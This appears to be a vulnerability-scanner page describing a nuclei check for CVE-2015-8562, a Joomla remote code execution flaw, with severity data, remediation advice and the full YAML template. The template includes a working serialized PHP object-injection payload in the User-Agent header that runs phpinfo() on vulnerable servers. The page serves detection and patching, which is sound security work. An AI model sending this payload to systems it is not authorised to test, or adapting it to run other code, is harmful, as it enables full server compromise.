Joomla HTTP Header Unauthenticated - Remote Code Execution

highseverity

7.5CVSS score

98.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015

Impact

Attackers can execute arbitrary PHP code on the server through PHP object injection, leading to complete server compromise and potential data breach.

Fix

Update to Joomla 3.4.6 or later immediately.

How to confirm it

Send: GET /
Positive when: contains(body,"Joomla") and status_code == 200
Send: GET /
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2015-8562 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-8562

info:
  name: Joomla HTTP Header Unauthenticated - Remote Code Execution
  author: kairos-hk,bolkv,n0ming,RoughBoy0723
  description: |
    Joomla! 1.5.x, 2.x, and 3.x before 3.4.6 allow remote attackers to conduct PHP object injection attacks and execute arbitrary PHP code via the HTTP User-Agent header, as exploited in the wild in December 2015
  impact: |
    Attackers can execute arbitrary PHP code on the server through PHP object injection, leading to complete server compromise and potential data breach.
  remediation: |
    Update to Joomla 3.4.6 or later immediately.
  severity: high
  reference:
    - https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2015-8562
    - https://nvd.nist.gov/vuln/detail/CVE-2015-8562
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P
    cvss-score: 7.5
    cve-id: CVE-2015-8562
    epss-score: 0.98193
    epss-percentile: 0.99915
  metadata:
    max-request: 2
    vendor: joomla
    product: joomla\!
    shodan-query:
      - http.html:"joomla! - open source content management"
      - http.component:"joomla"
      - cpe:"cpe:2.3:a:joomla:joomla\!"
    fofa-query: body="joomla! - open source content management"
  tags: cve,cve2015,joomla,rce,unauth,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"Joomla")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
        User-Agent: 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆
        Connection: close

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from